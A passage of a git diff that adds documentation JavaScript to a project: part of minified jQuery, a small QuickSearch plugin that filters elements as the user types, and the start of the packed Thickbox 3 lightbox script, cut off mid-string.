val,ret,fn=jQuery.isFunction(elem[type]||null),event=!data[0]||!data[0].preventDefault;if(event){data.unshift({type:type,target:elem,preventDefault:function(){},stopPropagation:function(){},timeStamp:now()});data[0][expando]=true;}data[0].type=type;if(exclusive)data[0].exclusive=true;var handle=jQuery.data(elem,"handle");if(handle)val=handle.apply(elem,data);if((!fn||(jQuery.nodeName(elem,'a')&&type=="click"))&&elem["on"+type]&&elem["on"+type].apply(elem,data)===false)val=false;if(event)data.shift();if(extra&&jQuery.isFunction(extra)){ret=extra.apply(elem,val==null?data:data.concat(val));if(ret!==undefined)val=ret;}if(fn&&donative!==false&&val!==false&&!(jQuery.nodeName(elem,'a')&&type=="click")){this.triggered=true;try{elem[type]();}catch(e){}}this.triggered=false;}return val;},handle:function(event){var val,ret,namespace,all,handlers;event=arguments[0]=jQuery.event.fix(event||window.event);namespace=event.type.split(".");event.type=namespace[0];namespace=namespace[1];all=!namespace&&!event.exclusive;handlers=(jQuery.data(this,"events")||{})[event.type];for(var j in handlers){var handler=handlers[j];if(all||handler.type==namespace){event.handler=handler;event.data=handler.data;ret=handler.apply(this,arguments);if(val!==false)val=ret;if(ret===false){event.preventDefault();event.stopPropagation();}}}return val;},fix:function(event){if(event[expando]==true)return event;var originalEvent=event;event={originalEvent:originalEvent};var props="altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode metaKey newValue originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target timeStamp toElement type view wheelDelta which".split(" ");for(var i=props.length;i;i--)event[props[i]]=originalEvent[props[i]];event[expando]=true;event.preventDefault=function(){if(originalEvent.preventDefault)originalEvent.preventDefault();originalEvent.returnValue=false;};event.stopPropagation=function(){if(originalEvent.stopPropagation)originalEvent.stopPropagation();originalEvent.cancelBubble=true;};event.timeStamp=event.timeStamp||now();if(!event.target)event.target=event.srcElement||document;if(event.target.nodeType==3)event.target=event.target.parentNode;if(!event.relatedTarget&&event.fromElement)event.relatedTarget=event.fromElement==event.target?event.toElement:event.fromElement;if(event.pageX==null&&event.clientX!=null){var doc=document.documentElement,body=document.body;event.pageX=event.clientX+(doc&&doc.scrollLeft||body&&body.scrollLeft||0)-(doc.clientLeft||0);event.pageY=event.clientY+(doc&&doc.scrollTop||body&&body.scrollTop||0)-(doc.clientTop||0);}if(!event.which&&((event.charCode||event.charCode===0)?event.charCode:event.keyCode))event.which=event.charCode||event.keyCode;if(!event.metaKey&&event.ctrlKey)event.metaKey=event.ctrlKey;if(!event.which&&event.button)event.which=(event.button&1?1:(event.button&2?3:(event.button&4?2:0)));return event;},proxy:function(fn,proxy){proxy.guid=fn.guid=fn.guid||proxy.guid||this.guid++;return proxy;},special:{ready:{setup:function(){bindReady();return;},teardown:function(){return;}},mouseenter:{setup:function(){if(jQuery.browser.msie)return false;jQuery(this).bind("mouseover",jQuery.event.special.mouseenter.handler);return true;},teardown:function(){if(jQuery.browser.msie)return false;jQuery(this).unbind("mouseover",jQuery.event.special.mouseenter.handler);return true;},handler:function(event){if(withinElement(event,this))return true;event.type="mouseenter";return jQuery.event.handle.apply(this,arguments);}},mouseleave:{setup:function(){if(jQuery.browser.msie)return false;jQuery(this).bind("mouseout",jQuery.event.special.mouseleave.handler);return true;},teardown:function(){if(jQuery.browser.msie)return false;jQuery(this).unbind("mouseout",jQuery.event.special.mouseleave.handler);return true;},handler:function(event){if(withinElement(event,this))return true;event.type="mouseleave";return jQuery.event.handle.apply(this,arguments);}}}};jQuery.fn.extend({bind:function(type,data,fn){return type=="unload"?this.one(type,data,fn):this.each(function(){jQuery.event.add(this,type,fn||data,fn&&data);});},one:function(type,data,fn){var one=jQuery.event.proxy(fn||data,function(event){jQuery(this).unbind(event,one);return(fn||data).apply(this,arguments);});return this.each(function(){jQuery.event.add(this,type,one,fn&&data);});},unbind:function(type,fn){return this.each(function(){jQuery.event.remove(this,type,fn);});},trigger:function(type,data,fn){return this.each(function(){jQuery.event.trigger(type,data,this,true,fn);});},triggerHandler:function(type,data,fn){return this[0]&&jQuery.event.trigger(type,data,this[0],false,fn);},toggle:function(fn){var args=arguments,i=1;while(i<args.length)jQuery.event.proxy(fn,args[i++]);return this.click(jQuery.event.proxy(fn,function(event){this.lastToggle=(this.lastToggle||0)%i;event.preventDefault();return args[this.lastToggle++].apply(this,arguments)||false;}));},hover:function(fnOver,fnOut){return this.bind('mouseenter',fnOver).bind('mouseleave',fnOut);},ready:function(fn){bindReady();if(jQuery.isReady)fn.call(document,jQuery);else
+jQuery.readyList.push(function(){return fn.call(this,jQuery);});return this;}});jQuery.extend({isReady:false,readyList:[],ready:function(){if(!jQuery.isReady){jQuery.isReady=true;if(jQuery.readyList){jQuery.each(jQuery.readyList,function(){this.call(document);});jQuery.readyList=null;}jQuery(document).triggerHandler("ready");}}});var readyBound=false;function bindReady(){if(readyBound)return;readyBound=true;if(document.addEventListener&&!jQuery.browser.opera)document.addEventListener("DOMContentLoaded",jQuery.ready,false);if(jQuery.browser.msie&&window==top)(function(){if(jQuery.isReady)return;try{document.documentElement.doScroll("left");}catch(error){setTimeout(arguments.callee,0);return;}jQuery.ready();})();if(jQuery.browser.opera)document.addEventListener("DOMContentLoaded",function(){if(jQuery.isReady)return;for(var i=0;i<document.styleSheets.length;i++)if(document.styleSheets[i].disabled){setTimeout(arguments.callee,0);return;}jQuery.ready();},false);if(jQuery.browser.safari){var numStyles;(function(){if(jQuery.isReady)return;if(document.readyState!="loaded"&&document.readyState!="complete"){setTimeout(arguments.callee,0);return;}if(numStyles===undefined)numStyles=jQuery("style, link[rel=stylesheet]").length;if(document.styleSheets.length!=numStyles){setTimeout(arguments.callee,0);return;}jQuery.ready();})();}jQuery.event.add(window,"load",jQuery.ready);}jQuery.each(("blur,focus,load,resize,scroll,unload,click,dblclick,"+"mousedown,mouseup,mousemove,mouseover,mouseout,change,select,"+"submit,keydown,keypress,keyup,error").split(","),function(i,name){jQuery.fn[name]=function(fn){return fn?this.bind(name,fn):this.trigger(name);};});var withinElement=function(event,elem){var parent=event.relatedTarget;while(parent&&parent!=elem)try{parent=parent.parentNode;}catch(error){parent=elem;}return parent==elem;};jQuery(window).bind("unload",function(){jQuery("*").add(document).unbind();});jQuery.fn.extend({_load:jQuery.fn.load,load:function(url,params,callback){if(typeof url!='string')return this._load(url);var off=url.indexOf(" ");if(off>=0){var selector=url.slice(off,url.length);url=url.slice(0,off);}callback=callback||function(){};var type="GET";if(params)if(jQuery.isFunction(params)){callback=params;params=null;}else{params=jQuery.param(params);type="POST";}var self=this;jQuery.ajax({url:url,type:type,dataType:"html",data:params,complete:function(res,status){if(status=="success"||status=="notmodified")self.html(selector?jQuery("<div/>").append(res.responseText.replace(/<script(.|\s)*?\/script>/g,"")).find(selector):res.responseText);self.each(callback,[res.responseText,status,res]);}});return this;},serialize:function(){return jQuery.param(this.serializeArray());},serializeArray:function(){return this.map(function(){return jQuery.nodeName(this,"form")?jQuery.makeArray(this.elements):this;}).filter(function(){return this.name&&!this.disabled&&(this.checked||/select|textarea/i.test(this.nodeName)||/text|hidden|password/i.test(this.type));}).map(function(i,elem){var val=jQuery(this).val();return val==null?null:val.constructor==Array?jQuery.map(val,function(val,i){return{name:elem.name,value:val};}):{name:elem.name,value:val};}).get();}});jQuery.each("ajaxStart,ajaxStop,ajaxComplete,ajaxError,ajaxSuccess,ajaxSend".split(","),function(i,o){jQuery.fn[o]=function(f){return this.bind(o,f);};});var jsc=now();jQuery.extend({get:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data=null;}return jQuery.ajax({type:"GET",url:url,data:data,success:callback,dataType:type});},getScript:function(url,callback){return jQuery.get(url,null,callback,"script");},getJSON:function(url,data,callback){return jQuery.get(url,data,callback,"json");},post:function(url,data,callback,type){if(jQuery.isFunction(data)){callback=data;data={};}return jQuery.ajax({type:"POST",url:url,data:data,success:callback,dataType:type});},ajaxSetup:function(settings){jQuery.extend(jQuery.ajaxSettings,settings);},ajaxSettings:{url:location.href,global:true,type:"GET",timeout:0,contentType:"application/x-www-form-urlencoded",processData:true,async:true,data:null,username:null,password:null,accepts:{xml:"application/xml, text/xml",html:"text/html",script:"text/javascript, application/javascript",json:"application/json, text/javascript",text:"text/plain",_default:"*/*"}},lastModified:{},ajax:function(s){s=jQuery.extend(true,s,jQuery.extend(true,{},jQuery.ajaxSettings,s));var jsonp,jsre=/=\?(&|$)/g,status,data,type=s.type.toUpperCase();if(s.data&&s.processData&&typeof s.data!="string")s.data=jQuery.param(s.data);if(s.dataType=="jsonp"){if(type=="GET"){if(!s.url.match(jsre))s.url+=(s.url.match(/\?/)?"&":"?")+(s.jsonp||"callback")+"=?";}else if(!s.data||!s.data.match(jsre))s.data=(s.data?s.data+"&":"")+(s.jsonp||"callback")+"=?";s.dataType="json";}if(s.dataType=="json"&&(s.data&&s.data.match(jsre)||s.url.match(jsre))){jsonp="jsonp"+jsc++;if(s.data)s.data=(s.data+"").replace(jsre,"="+jsonp+"$1");s.url=s.url.replace(jsre,"="+jsonp+"$1");s.dataType="script";window[jsonp]=function(tmp){data=tmp;success();complete();window[jsonp]=undefined;try{delete window[jsonp];}catch(e){}if(head)head.removeChild(script);};}if(s.dataType=="script"&&s.cache==null)s.cache=false;if(s.cache===false&&type=="GET"){var ts=now();var ret=s.url.replace(/(\?|&)_=.*?(&|$)/,"$1_="+ts+"$2");s.url=ret+((ret==s.url)?(s.url.match(/\?/)?"&":"?")+"_="+ts:"");}if(s.data&&type=="GET"){s.url+=(s.url.match(/\?/)?"&":"?")+s.data;s.data=null;}if(s.global&&!jQuery.active++)jQuery.event.trigger("ajaxStart");var remote=/^(?:\w+:)?\/\/([^\/?#]+)/;if(s.dataType=="script"&&type=="GET"&&remote.test(s.url)&&remote.exec(s.url)[1]!=location.host){var head=document.getElementsByTagName("head")[0];var script=document.createElement("script");script.src=s.url;if(s.scriptCharset)script.charset=s.scriptCharset;if(!jsonp){var done=false;script.onload=script.onreadystatechange=function(){if(!done&&(!this.readyState||this.readyState=="loaded"||this.readyState=="complete")){done=true;success();complete();head.removeChild(script);}};}head.appendChild(script);return undefined;}var requestDone=false;var xhr=window.ActiveXObject?new ActiveXObject("Microsoft.XMLHTTP"):new XMLHttpRequest();if(s.username)xhr.open(type,s.url,s.async,s.username,s.password);else
+xhr.open(type,s.url,s.async);try{if(s.data)xhr.setRequestHeader("Content-Type",s.contentType);if(s.ifModified)xhr.setRequestHeader("If-Modified-Since",jQuery.lastModified[s.url]||"Thu, 01 Jan 1970 00:00:00 GMT");xhr.setRequestHeader("X-Requested-With","XMLHttpRequest");xhr.setRequestHeader("Accept",s.dataType&&s.accepts[s.dataType]?s.accepts[s.dataType]+", */*":s.accepts._default);}catch(e){}if(s.beforeSend&&s.beforeSend(xhr,s)===false){s.global&&jQuery.active--;xhr.abort();return false;}if(s.global)jQuery.event.trigger("ajaxSend",[xhr,s]);var onreadystatechange=function(isTimeout){if(!requestDone&&xhr&&(xhr.readyState==4||isTimeout=="timeout")){requestDone=true;if(ival){clearInterval(ival);ival=null;}status=isTimeout=="timeout"&&"timeout"||!jQuery.httpSuccess(xhr)&&"error"||s.ifModified&&jQuery.httpNotModified(xhr,s.url)&&"notmodified"||"success";if(status=="success"){try{data=jQuery.httpData(xhr,s.dataType,s.dataFilter);}catch(e){status="parsererror";}}if(status=="success"){var modRes;try{modRes=xhr.getResponseHeader("Last-Modified");}catch(e){}if(s.ifModified&&modRes)jQuery.lastModified[s.url]=modRes;if(!jsonp)success();}else
+jQuery.handleError(s,xhr,status);complete();if(s.async)xhr=null;}};if(s.async){var ival=setInterval(onreadystatechange,13);if(s.timeout>0)setTimeout(function(){if(xhr){xhr.abort();if(!requestDone)onreadystatechange("timeout");}},s.timeout);}try{xhr.send(s.data);}catch(e){jQuery.handleError(s,xhr,null,e);}if(!s.async)onreadystatechange();function success(){if(s.success)s.success(data,status);if(s.global)jQuery.event.trigger("ajaxSuccess",[xhr,s]);}function complete(){if(s.complete)s.complete(xhr,status);if(s.global)jQuery.event.trigger("ajaxComplete",[xhr,s]);if(s.global&&!--jQuery.active)jQuery.event.trigger("ajaxStop");}return xhr;},handleError:function(s,xhr,status,e){if(s.error)s.error(xhr,status,e);if(s.global)jQuery.event.trigger("ajaxError",[xhr,s,e]);},active:0,httpSuccess:function(xhr){try{return!xhr.status&&location.protocol=="file:"||(xhr.status>=200&&xhr.status<300)||xhr.status==304||xhr.status==1223||jQuery.browser.safari&&xhr.status==undefined;}catch(e){}return false;},httpNotModified:function(xhr,url){try{var xhrRes=xhr.getResponseHeader("Last-Modified");return xhr.status==304||xhrRes==jQuery.lastModified[url]||jQuery.browser.safari&&xhr.status==undefined;}catch(e){}return false;},httpData:function(xhr,type,filter){var ct=xhr.getResponseHeader("content-type"),xml=type=="xml"||!type&&ct&&ct.indexOf("xml")>=0,data=xml?xhr.responseXML:xhr.responseText;if(xml&&data.documentElement.tagName=="parsererror")throw"parsererror";if(filter)data=filter(data,type);if(type=="script")jQuery.globalEval(data);if(type=="json")data=eval("("+data+")");return data;},param:function(a){var s=[];if(a.constructor==Array||a.jquery)jQuery.each(a,function(){s.push(encodeURIComponent(this.name)+"="+encodeURIComponent(this.value));});else
+for(var j in a)if(a[j]&&a[j].constructor==Array)jQuery.each(a[j],function(){s.push(encodeURIComponent(j)+"="+encodeURIComponent(this));});else
+s.push(encodeURIComponent(j)+"="+encodeURIComponent(jQuery.isFunction(a[j])?a[j]():a[j]));return s.join("&").replace(/%20/g,"+");}});jQuery.fn.extend({show:function(speed,callback){return speed?this.animate({height:"show",width:"show",opacity:"show"},speed,callback):this.filter(":hidden").each(function(){this.style.display=this.oldblock||"";if(jQuery.css(this,"display")=="none"){var elem=jQuery("<"+this.tagName+" />").appendTo("body");this.style.display=elem.css("display");if(this.style.display=="none")this.style.display="block";elem.remove();}}).end();},hide:function(speed,callback){return speed?this.animate({height:"hide",width:"hide",opacity:"hide"},speed,callback):this.filter(":visible").each(function(){this.oldblock=this.oldblock||jQuery.css(this,"display");this.style.display="none";}).end();},_toggle:jQuery.fn.toggle,toggle:function(fn,fn2){return jQuery.isFunction(fn)&&jQuery.isFunction(fn2)?this._toggle.apply(this,arguments):fn?this.animate({height:"toggle",width:"toggle",opacity:"toggle"},fn,fn2):this.each(function(){jQuery(this)[jQuery(this).is(":hidden")?"show":"hide"]();});},slideDown:function(speed,callback){return this.animate({height:"show"},speed,callback);},slideUp:function(speed,callback){return this.animate({height:"hide"},speed,callback);},slideToggle:function(speed,callback){return this.animate({height:"toggle"},speed,callback);},fadeIn:function(speed,callback){return this.animate({opacity:"show"},speed,callback);},fadeOut:function(speed,callback){return this.animate({opacity:"hide"},speed,callback);},fadeTo:function(speed,to,callback){return this.animate({opacity:to},speed,callback);},animate:function(prop,speed,easing,callback){var optall=jQuery.speed(speed,easing,callback);return this[optall.queue===false?"each":"queue"](function(){if(this.nodeType!=1)return false;var opt=jQuery.extend({},optall),p,hidden=jQuery(this).is(":hidden"),self=this;for(p in prop){if(prop[p]=="hide"&&hidden||prop[p]=="show"&&!hidden)return opt.complete.call(this);if(p=="height"||p=="width"){opt.display=jQuery.css(this,"display");opt.overflow=this.style.overflow;}}if(opt.overflow!=null)this.style.overflow="hidden";opt.curAnim=jQuery.extend({},prop);jQuery.each(prop,function(name,val){var e=new jQuery.fx(self,opt,name);if(/toggle|show|hide/.test(val))e[val=="toggle"?hidden?"show":"hide":val](prop);else{var parts=val.toString().match(/^([+-]=)?([\d+-.]+)(.*)$/),start=e.cur(true)||0;if(parts){var end=parseFloat(parts[2]),unit=parts[3]||"px";if(unit!="px"){self.style[name]=(end||1)+unit;start=((end||1)/e.cur(true))*start;self.style[name]=start+unit;}if(parts[1])end=((parts[1]=="-="?-1:1)*end)+start;e.custom(start,end,unit);}else
+e.custom(start,val,"");}});return true;});},queue:function(type,fn){if(jQuery.isFunction(type)||(type&&type.constructor==Array)){fn=type;type="fx";}if(!type||(typeof type=="string"&&!fn))return queue(this[0],type);return this.each(function(){if(fn.constructor==Array)queue(this,type,fn);else{queue(this,type).push(fn);if(queue(this,type).length==1)fn.call(this);}});},stop:function(clearQueue,gotoEnd){var timers=jQuery.timers;if(clearQueue)this.queue([]);this.each(function(){for(var i=timers.length-1;i>=0;i--)if(timers[i].elem==this){if(gotoEnd)timers[i](true);timers.splice(i,1);}});if(!gotoEnd)this.dequeue();return this;}});var queue=function(elem,type,array){if(elem){type=type||"fx";var q=jQuery.data(elem,type+"queue");if(!q||array)q=jQuery.data(elem,type+"queue",jQuery.makeArray(array));}return q;};jQuery.fn.dequeue=function(type){type=type||"fx";return this.each(function(){var q=queue(this,type);q.shift();if(q.length)q[0].call(this);});};jQuery.extend({speed:function(speed,easing,fn){var opt=speed&&speed.constructor==Object?speed:{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&easing.constructor!=Function&&easing};opt.duration=(opt.duration&&opt.duration.constructor==Number?opt.duration:jQuery.fx.speeds[opt.duration])||jQuery.fx.speeds.def;opt.old=opt.complete;opt.complete=function(){if(opt.queue!==false)jQuery(this).dequeue();if(jQuery.isFunction(opt.old))opt.old.call(this);};return opt;},easing:{linear:function(p,n,firstNum,diff){return firstNum+diff*p;},swing:function(p,n,firstNum,diff){return((-Math.cos(p*Math.PI)/2)+0.5)*diff+firstNum;}},timers:[],timerId:null,fx:function(elem,options,prop){this.options=options;this.elem=elem;this.prop=prop;if(!options.orig)options.orig={};}});jQuery.fx.prototype={update:function(){if(this.options.step)this.options.step.call(this.elem,this.now,this);(jQuery.fx.step[this.prop]||jQuery.fx.step._default)(this);if(this.prop=="height"||this.prop=="width")this.elem.style.display="block";},cur:function(force){if(this.elem[this.prop]!=null&&this.elem.style[this.prop]==null)return this.elem[this.prop];var r=parseFloat(jQuery.css(this.elem,this.prop,force));return r&&r>-10000?r:parseFloat(jQuery.curCSS(this.elem,this.prop))||0;},custom:function(from,to,unit){this.startTime=now();this.start=from;this.end=to;this.unit=unit||this.unit||"px";this.now=this.start;this.pos=this.state=0;this.update();var self=this;function t(gotoEnd){return self.step(gotoEnd);}t.elem=this.elem;jQuery.timers.push(t);if(jQuery.timerId==null){jQuery.timerId=setInterval(function(){var timers=jQuery.timers;for(var i=0;i<timers.length;i++)if(!timers[i]())timers.splice(i--,1);if(!timers.length){clearInterval(jQuery.timerId);jQuery.timerId=null;}},13);}},show:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.show=true;this.custom(0,this.cur());if(this.prop=="width"||this.prop=="height")this.elem.style[this.prop]="1px";jQuery(this.elem).show();},hide:function(){this.options.orig[this.prop]=jQuery.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0);},step:function(gotoEnd){var t=now();if(gotoEnd||t>this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var done=true;for(var i in this.options.curAnim)if(this.options.curAnim[i]!==true)done=false;if(done){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(jQuery.css(this.elem,"display")=="none")this.elem.style.display="block";}if(this.options.hide)this.elem.style.display="none";if(this.options.hide||this.options.show)for(var p in this.options.curAnim)jQuery.attr(this.elem.style,p,this.options.orig[p]);}if(done)this.options.complete.call(this.elem);return false;}else{var n=t-this.startTime;this.state=n/this.options.duration;this.pos=jQuery.easing[this.options.easing||(jQuery.easing.swing?"swing":"linear")](this.state,n,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update();}return true;}};jQuery.extend(jQuery.fx,{speeds:{slow:600,fast:200,def:400},step:{scrollLeft:function(fx){fx.elem.scrollLeft=fx.now;},scrollTop:function(fx){fx.elem.scrollTop=fx.now;},opacity:function(fx){jQuery.attr(fx.elem.style,"opacity",fx.now);},_default:function(fx){fx.elem.style[fx.prop]=fx.now+fx.unit;}}});jQuery.fn.offset=function(){var left=0,top=0,elem=this[0],results;if(elem)with(jQuery.browser){var parent=elem.parentNode,offsetChild=elem,offsetParent=elem.offsetParent,doc=elem.ownerDocument,safari2=safari&&parseInt(version)<522&&!/adobeair/i.test(userAgent),css=jQuery.curCSS,fixed=css(elem,"position")=="fixed";if(elem.getBoundingClientRect){var box=elem.getBoundingClientRect();add(box.left+Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),box.top+Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));add(-doc.documentElement.clientLeft,-doc.documentElement.clientTop);}else{add(elem.offsetLeft,elem.offsetTop);while(offsetParent){add(offsetParent.offsetLeft,offsetParent.offsetTop);if(mozilla&&!/^t(able|d|h)$/i.test(offsetParent.tagName)||safari&&!safari2)border(offsetParent);if(!fixed&&css(offsetParent,"position")=="fixed")fixed=true;offsetChild=/^body$/i.test(offsetParent.tagName)?offsetChild:offsetParent;offsetParent=offsetParent.offsetParent;}while(parent&&parent.tagName&&!/^body|html$/i.test(parent.tagName)){if(!/^inline|table.*$/i.test(css(parent,"display")))add(-parent.scrollLeft,-parent.scrollTop);if(mozilla&&css(parent,"overflow")!="visible")border(parent);parent=parent.parentNode;}if((safari2&&(fixed||css(offsetChild,"position")=="absolute"))||(mozilla&&css(offsetChild,"position")!="absolute"))add(-doc.body.offsetLeft,-doc.body.offsetTop);if(fixed)add(Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));}results={top:top,left:left};}function border(elem){add(jQuery.curCSS(elem,"borderLeftWidth",true),jQuery.curCSS(elem,"borderTopWidth",true));}function add(l,t){left+=parseInt(l,10)||0;top+=parseInt(t,10)||0;}return results;};jQuery.fn.extend({position:function(){var left=0,top=0,results;if(this[0]){var offsetParent=this.offsetParent(),offset=this.offset(),parentOffset=/^body|html$/i.test(offsetParent[0].tagName)?{top:0,left:0}:offsetParent.offset();offset.top-=num(this,'marginTop');offset.left-=num(this,'marginLeft');parentOffset.top+=num(offsetParent,'borderTopWidth');parentOffset.left+=num(offsetParent,'borderLeftWidth');results={top:offset.top-parentOffset.top,left:offset.left-parentOffset.left};}return results;},offsetParent:function(){var offsetParent=this[0].offsetParent;while(offsetParent&&(!/^body|html$/i.test(offsetParent.tagName)&&jQuery.css(offsetParent,'position')=='static'))offsetParent=offsetParent.offsetParent;return jQuery(offsetParent);}});jQuery.each(['Left','Top'],function(i,name){var method='scroll'+name;jQuery.fn[method]=function(val){if(!this[0])return;return val!=undefined?this.each(function(){this==window||this==document?window.scrollTo(!i?val:jQuery(window).scrollLeft(),i?val:jQuery(window).scrollTop()):this[method]=val;}):this[0]==window||this[0]==document?self[i?'pageYOffset':'pageXOffset']||jQuery.boxModel&&document.documentElement[method]||document.body[method]:this[0][method];};});jQuery.each(["Height","Width"],function(i,name){var tl=i?"Left":"Top",br=i?"Right":"Bottom";jQuery.fn["inner"+name]=function(){return this[name.toLowerCase()]()+num(this,"padding"+tl)+num(this,"padding"+br);};jQuery.fn["outer"+name]=function(margin){return this["inner"+name]()+num(this,"border"+tl+"Width")+num(this,"border"+br+"Width")+(margin?num(this,"margin"+tl)+num(this,"margin"+br):0);};});})();
\ No newline at end of file
diff --git a/doc/js/quicksearch.js b/doc/js/quicksearch.js
new file mode 100644
index 00000000..70dbd33c
--- /dev/null
+++ b/doc/js/quicksearch.js
@@ -0,0 +1,114 @@
+/**
+ *
+ * JQuery QuickSearch - Hook up a form field to hide non-matching elements.
+ * $Id: quicksearch.js 53 2009-01-07 02:52:03Z deveiant $
+ *
+ * Author: Michael Granger <mgranger@laika.com>
+ *
+ */
+jQuery.fn.quicksearch = function( target, searchElems, options ) {
+	// console.debug( "Quicksearch fn" );
+
+	var settings = {
+		delay: 250,
+		clearButton: false,
+		highlightMatches: false,
+		focusOnLoad: false,
+		noSearchResultsIndicator: null
+	};
+	if ( options ) $.extend( settings, options );
+
+	return jQuery(this).each( function() {
+		// console.debug( "Creating a new quicksearch on %o for %o", this, searchElems );
+		new jQuery.quicksearch( this, searchElems, settings );
+	});
+};
+
+
+jQuery.quicksearch = function( searchBox, searchElems, settings ) {
+	var timeout;
+	var boxdiv = $(searchBox).parents('div').eq(0);
+
+	function init() {
+		setupKeyEventHandlers();
+		focusOnLoad();
+	};
+
+	function setupKeyEventHandlers() {
+		// console.debug( "Hooking up the 'keypress' event to %o", searchBox );
+		$(searchBox).
+			unbind( 'keyup' ).
+			keyup( function(e) { return onSearchKey( e.keyCode ); });
+		$(searchBox).
+			unbind( 'keypress' ).
+			keypress( function(e) {
+				switch( e.which ) {
+					// Execute the search on Enter, Tab, or Newline
+					case 9:
+					case 13:
+					case 10:
+						clearTimeout( timeout );
+						e.preventDefault();
+						doQuickSearch();
+						break;
+
+					// Allow backspace
+					case 8:
+						return true;
+						break;
+
+					// Only allow valid search characters
+					default:
+						return validQSChar( e.charCode );
+				}
+			});
+	};
+
+	function focusOnLoad() {
+		if ( !settings.focusOnLoad ) return false;
+		$(searchBox).focus();
+	};
+
+	function onSearchKey ( code ) {
+		clearTimeout( timeout );
+		// console.debug( "...scheduling search." );
+		timeout = setTimeout( doQuickSearch, settings.delay );
+	};
+
+	function validQSChar( code ) {
+		var c = String.fromCharCode( code );
+		return (
+			(c == ':') ||
+			(c >= 'a' && c <= 'z') ||
+			(c >= 'A' && c <= 'Z')
+		  );
+	};
+
+	function doQuickSearch() {
+		var searchText = searchBox.value;
+		var pat = new RegExp( searchText, "im" );
+		var shownCount = 0;
+
+		if ( settings.noSearchResultsIndicator ) {
+			$('#' + settings.noSearchResultsIndicator).hide();
+		}
+
+		// All elements start out hidden
+		$(searchElems).each( function(index) {
+			var str = $(this).text();
+
+			if ( pat.test(str) ) {
+				shownCount += 1;
+				$(this).fadeIn();
+			} else {
+				$(this).hide();
+			}
+		});
+
+		if ( shownCount == 0 && settings.noSearchResultsIndicator ) {
+			$('#' + settings.noSearchResultsIndicator).slideDown();
+		}
+	};
+
+	init();
+};
diff --git a/doc/js/thickbox-compressed.js b/doc/js/thickbox-compressed.js
new file mode 100644
index 00000000..3a3fdae1
--- /dev/null
+++ b/doc/js/thickbox-compressed.js
@@ -0,0 +1,10 @@
+/*
+ * Thickbox 3 - One Box To Rule Them All.
+ * By Cody Lindley (http://www.codylindley.com)
+ * Copyright (c) 2007 cody lindley
+ * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
+*/
+
+var tb_pathToImage = "../images/loadingAnimation.gif";
+
+eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('$(o).2S(9(){1u(\'a.18, 3n.18, 3i.18\');1w=1p 1t();1w.L=2H});9 1u(b){$(b).s(9(){6 t=X.Q||X.1v||M;6 a=X.u||X.23;6 g=X.1N||P;19(t,a,g);X.2E();H P})}9 19(d,f,g){3m{3(2t o.v.J.2i==="2g"){$("v","11").r({A:"28%",z:"28%"});$("11").r("22","2Z");3(o.1Y("1F")===M){$("v").q("<U 5=\'1F\'></U><4 5=\'B\'></4><4 5=\'8\'></4>");$("#B").s(G)}}n{3(o.1Y("B")===M){$("v").q("<4 5=\'B\'></4><4 5=\'8\'></4>");$("#B").s(G)}}3(1K()){$("#B").1J("2B")}n{$("#B").1J("2z")}3(d===M){d=""}$("v").q("<4 5=\'K\'><1I L=\'"+1w.L+"\' /></4>");$(\'#K\').2y();6 h;3(f.O("?")!==-1){h=f.3l(0,f.O("?"))}n{h=f}6 i=/\\.2s$|\\.2q$|\\.2m$|\\.2l$|\\.2k$/;6 j=h.1C().2h(i);3(j==\'.2s\'||j==\'.2q\'||j==\'.2m\'||j==\'.2l\'||j==\'.2k\'){1D="";1G="";14="";1z="";1x="";R="";1n="";1r=P;3(g){E=$("a[@1N="+g+"]").36();25(D=0;((D<E.1c)&&(R===""));D++){6 k=E[D].u.1C().2h(i);3(!(E[D].u==f)){3(1r){1z=E[D].Q;1x=E[D].u;R="<1e 5=\'1X\'>&1d;&1d;<a u=\'#\'>2T &2R;</a></1e>"}n{1D=E[D].Q;1G=E[D].u;14="<1e 5=\'1U\'>&1d;&1d;<a u=\'#\'>&2O; 2N</a></1e>"}}n{1r=1b;1n="1t "+(D+1)+" 2L "+(E.1c)}}}S=1p 1t();S.1g=9(){S.1g=M;6 a=2x();6 x=a[0]-1M;6 y=a[1]-1M;6 b=S.z;6 c=S.A;3(b>x){c=c*(x/b);b=x;3(c>y){b=b*(y/c);c=y}}n 3(c>y){b=b*(y/c);c=y;3(b>x){c=c*(x/b);b=x}}13=b+30;1a=c+2G;$("#8").q("<a u=\'\' 5=\'1L\' Q=\'1o\'><1I 5=\'2F\' L=\'"+f+"\' z=\'"+b+"\' A=\'"+c+"\' 23=\'"+d+"\'/></a>"+"<4 5=\'2D\'>"+d+"<4 5=\'2C\'>"+1n+14+R+"</4></4><4 5=\'2A\'><a u=\'#\' 5=\'Z\' Q=\'1o\'>1l</a> 1k 1j 1s</4>");$("#Z").s(G);3(!(14==="")){9 12(){3($(o).N("s",12)){$(o).N("s",12)}$("#8").C();$("v").q("<4 5=\'8\'></4>");19(1D,1G,g);H P}$("#1U").s(12)}3(!(R==="")){9 1i(){$("#8").C();$("v").q("<4 5=\'8\'></4>");19(1z,1x,g);H P}$("#1X").s(1i)}o.1h=9(e){3(e==M){I=2w.2v}n{I=e.2u}3(I==27){G()}n 3(I==3k){3(!(R=="")){o.1h="";1i()}}n 